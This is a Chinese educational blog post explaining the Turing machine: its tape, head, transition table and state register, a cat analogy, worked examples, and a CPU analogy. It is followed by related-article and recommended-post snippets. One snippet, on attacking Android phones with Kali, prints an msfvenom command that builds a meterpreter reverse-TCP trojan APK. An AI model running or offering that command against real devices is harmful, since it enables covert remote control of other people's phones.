在理解CPU之前,我们有必要先了解一下现代计算机理论的基石——图灵机,这个抽象模型决定了现代计算机可以被实现。这个模型的工作原理也投射到了CPU的工作实现上。图灵机的知识可深可浅,换句话说,上手容易,但是意义深远。

下面是一个可以在线学习图灵机的网站:

Online Turing Machine Simulator

主要参考

  1. 《嵌入式C语言自我素养》
  2. 百度百科以及大佬博客
  3. b站视频
  4. 《数字逻辑》课程

00 内容概括

图灵机的概念产生于英国数学家艾伦·图灵在1936年在《伦敦数学协会会刊》上发表的那篇改变世界的论文——《论可计算数及其在判定问题中的应用》,论文本身很难很复杂,但对于计算机科学而言,可以简单概括为:

“任何复杂的运算都可以分解为基本运算指令。”

而图灵机则是图灵机理论中提出的理想模型,可以用简若干指令的组合就实现任意复杂的计算。

01 基本构造

图灵机的构造如下图所示:

  1. 一条无限长的纸带-Tape

    这是要处理的对象,被划分为一个个大小相等的小方格。每个小方格都可以存放一个符号,可以存放数字、字母、空白等。

  2. 一个读写头-Head

    可以在纸带上左右移动,它能读出当前所指的格子上的符号,并能改变当前格子上的符号。

  3. 一套控制规则/状态转换规则-Table

    根据当前机器所处的状态以及当前读写头所指的格子上的符号来确定读写头下一步的动作,并改变状态寄存器的值,令机器进入一个新的状态。

  4. 一个状态寄存器

    用来保存图灵机当前所处的状态。图灵机的所有可能状态的数目是有限的,并且有一个特殊的状态,称为停机状态

02 工作原理与思想

02-1 工作原理

这个东西是有数学推导的,我在此简化具体一下:

想象自己是一只小猫,我们会有饿和饱的状态,面对不同的食物,我们吃或者不吃,最终是饱或者饿。

上图就是我们理想化的Table,即状态转换规则。

在这个例子中,猫就是一个读写头Head,可以存储一个状态我们假设猫会根据自己饿与不饿以及格子里是否是食物来决定“吃”或是“等待”。

上图中的当前状态就是读写头中状态寄存器的当前存储值,格子里的食物就是纸带(Tape)格子里的值,两者决定了读写头(Head)的下一状态与读写头的移动(对应“等待”和“吃”这两个行为)

值得一提的是上面提到过的停机问题(这是第三次数学危机的解决方案),如果猫猫遇到的某种情况是表上没有的,机器就会立刻停机。

这样,一个图灵机就这样建立了。

02-2 基本思想

把上面的通过类比讲解的原理稍微抽象一下,我们来思考一下图灵机的基本思想:

  1. 图灵机基本思想是用机器来模拟人们用纸笔进行数学运算的过程。

  2. 图灵机主要有两个动作(模拟人):

    1. 在纸上写上或擦除某个符号;

    2. 把注意力从纸的一个位置移动到另一个位置;

  3. 而在每个阶段,人要决定下一步的动作,依赖于

    1. 此人当前所关注的纸上某个位置的符号->当前状态

    2. 此人当前思维的状态->Table

03 运行实例

我想在这里实际操作两个图灵机的工作过程,来加深一下对于图灵机的理解,手写推导。想看更多示例的可以 ->

  1. Online Turing Machine Simulator

  2. 图灵机的基础和加法运算 (picasso250.github.io)

03-1 实现两个数字的相加

A 示例纸带

B 状态转移表

读写头当前状态 table值0 table值1
q1 1Rq2 1Rq1
q2 0Lq3 1Rq2
q3 0Nq3 0Nq3

C 步骤演示

03-2 将一串连续的1后面再加一位1

A 示例纸带

B 状态转移图

虽然我们在前面的构造和原理部分多用一个表来表示Table,实际上和状态机一样,也可以用图来表示。

Table图的设计取决于A中我们要实现什么样的功能。在这个图中:

  1. 从0开始,遇到0格子我们继续赋给它0,右移;

  2. 碰到1时,把它修改为1,右移;

  3. 当碰到1后第一个0时我们就把它下一状态改为1,左移

  4. 左移再碰到1,就保持其值,继续左移;

  5. 左移遇到0,保持其值不变,停止。

C 步骤演示

04 图灵机Verilog实现的探索

这时候我就在想一个问题,我已经学过了数字逻辑与Verilog设计,图灵机肉眼可见地与状态机极其相似,那么我是否可以用Verilog实现一个图灵机呢,功能复刻就可以。

自己想了想,按照状态机的套路,对状态进行编码,但读写头Head的左移右移的模拟是一个问题,我开始怀疑这个东西是不是真的可以。去FPGA的群里问了问大佬,大佬的回复是:

“可以,这就是用Verilog写一个CPU soft core了,一个point,一段register,就能组成图灵机,并且fpga可以做。”

所以,想要实现图灵机,我们需要继续向下了解CPU的一些知识。

05 谈谈意义

05-1 类比现代计算机

将图灵机原型与现代计算机比较,会有很多相似之处,我们可以联想一下:

  1. 无限长的纸带Tape == 程序代码

  2. 读写头Head == 程序计数器PC

  3. 状态转换表Table == CPU的有限指令集

  4. 状态寄存器 == 程序或计算机的状态输出

不同架构的CPU,主要差别是指令集的不同,支持运行的机器指令也不同,但有一条是相同的:即CPU只能支持运行有限个指令,任何复杂的运算(任何应用程序)最终都可以分解成有限个基本指令来完成。

计算机系统3-> 现代计算机基石 | 图灵机理论的更多相关文章

  1. 计算机系统4-> 计组与体系结构1 | 基础概念介绍

    在大二上学期学习数字逻辑的过程中,我对计算机如何运作产生了兴趣,因此开了这个系列来记录自己在这方面的学习过程,此前三篇分别是: 计算机系统->Hello World的一生 | 程序如何运行,从大 ...

  2. 计算机系统5-> 计组与体系结构2 | MIPS指令集(上)| 指令系统

    系列的上一篇计算机系统4-> 计组与体系结构1 | 基础概念与系统评估,学习了一些计算机的基础概念,将一些基本的计算机组成部分的功能和相互联系了解了一下,其中很重要的一个抽象思想就是软硬件的接口 ...

  3. Deep Learning中的Large Batch Training相关理论与实践

    背景 [作者:DeepLearningStack,阿里巴巴算法工程师,开源TensorFlow Contributor] 在分布式训练时,提高计算通信占比是提高计算加速比的有效手段,当网络通信优化到一 ...

  4. p,np,npc,np难问题,确定图灵机与非确定图灵机

    本文转自豆瓣_燃烧的影子 图灵机与可计算性 图灵(1912~1954)出生于英国伦敦,19岁进入剑桥皇家学院研究量子力学和数理逻辑.1935年,图灵写出了"论高斯误差函数"的论文, ...

  5. 【学习笔记】大数据技术原理与应用(MOOC视频、厦门大学林子雨)

    1 大数据概述 大数据特性:4v volume velocity variety value 即大量化.快速化.多样化.价值密度低 数据量大:大数据摩尔定律 快速化:从数据的生成到消耗,时间窗口小,可 ...

  6. 数据结构和算法(Golang实现)(10)基础知识-算法复杂度主方法

    算法复杂度主方法 有时候,我们要评估一个算法的复杂度,但是算法被分散为几个递归的子问题,这样评估起来很难,有一个数学公式可以很快地评估出来. 一.复杂度主方法 主方法,也可以叫主定理.对于那些用分治法 ...

  7. NoSql的三大基石:CAP理论&BASE&最终一致性

    关系型数据库的局限 NoSql出现在关系型数据库之后,主要是为了解决关系型数据库的短板,我们先来看看随着软件行业的发展,关系型数据库面临了哪些挑战: 1.高并发 一个最典型的就是电商网站,例如双11, ...

  8. 大数据理论篇HDFS的基石——Google File System

    Google File System 但凡是要开始讲大数据的,都绕不开最初的Google三驾马车:Google File System(GFS), MapReduce,BigTable. 为这一切的基 ...

  9. 读《计算机系统要素:从零开始构建现代计算机》的思考:CodeGen

    掌握目标语言的使用.编写 是非常重要的!!! 如果你要实现的Jack语言编译器是把Jack语言代码编译成虚拟机VM代码.或者直接成汇编代码,要完成源代码中unit A——> 目标语言代码转写此u ...

随机推荐

  1. Linux:find命令中

    默认情况下, find 每输出一个文件名, 后面都会接着输出一个换行符 ('\n'), 因此我们看到的 find 的输出都是一行一行的: ls -l total 0 -rw-r--r-- 1 root ...

  2. Google Guava 常用集合方法

    /** * Author: momo * Date: 2018/6/7 * Description: */ public class ListTest { public static void mai ...

  3. grep命令输出显示高亮字

    grep命令执行后,终端上输出显示颜色可以加"--color=auto"的参数. 另外的两个办法是: 1.设置环境变量: export GREP_OPTIONS="--c ...

  4. 【科研工具】流程图软件Visio Pro 2019 详细安装破解教程

    [更新区] 安装教程我下周会在bilibili上传视频,这周事情太多暂时先不弄. [注意] 安装Visio需要和自己的Word版本一样,这里因为我的Word是学校的正版2019(所以学校为什么正版没买 ...

  5. 【kafka学习笔记】合理安排broker、partition、consumer数量

    broker的数量最好大于等于partition数量 一个partition最好对应一个硬盘,这样能最大限度发挥顺序写的优势. broker如果免得是多个partition,需要随机分发,顺序IO会退 ...

  6. Kali渗透安卓手机

    kali渗透安卓手机 1.生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=ip LPORT=端口 R > test.apk 在终 ...

  7. java 多线程 :ThreadLocal 共享变量多线程不同值方案;InheritableThreadLocal变量子线程中自定义值,孙线程可继承

      ThreadLocal类的使用 变量值的共享可以使用public static变量的形式,所有的线程都是用同一个public static变量.如果想实现每一个线程都有自己的值.该变量可通过Thr ...

  8. 存储技术之ceph了解

    ceph rados:可靠的.自动的.分布式.对象存储 特性:高效性,统一性(文件存储,块存储,对象存储),可扩展 没有数据库的概念:为cluster map 记录集群状态. PG:(ceph核心单位 ...

  9. axiso 高级封装

    ​ import axios from 'axios'; import qs from 'qs'; const Unit = { async getApi(ajaxCfg){ let data = a ...

  10. MyBatis学习(四)MyBatis一对一关联查询

    一对一关联查询即.两张表通过外键进行关联.从而达到查询外键直接获得两张表的信息.本文基于业务拓展类的方式实现. 项目骨架 配置文件conf.xml和db.properties前几节讲过.这里就不细说了 ...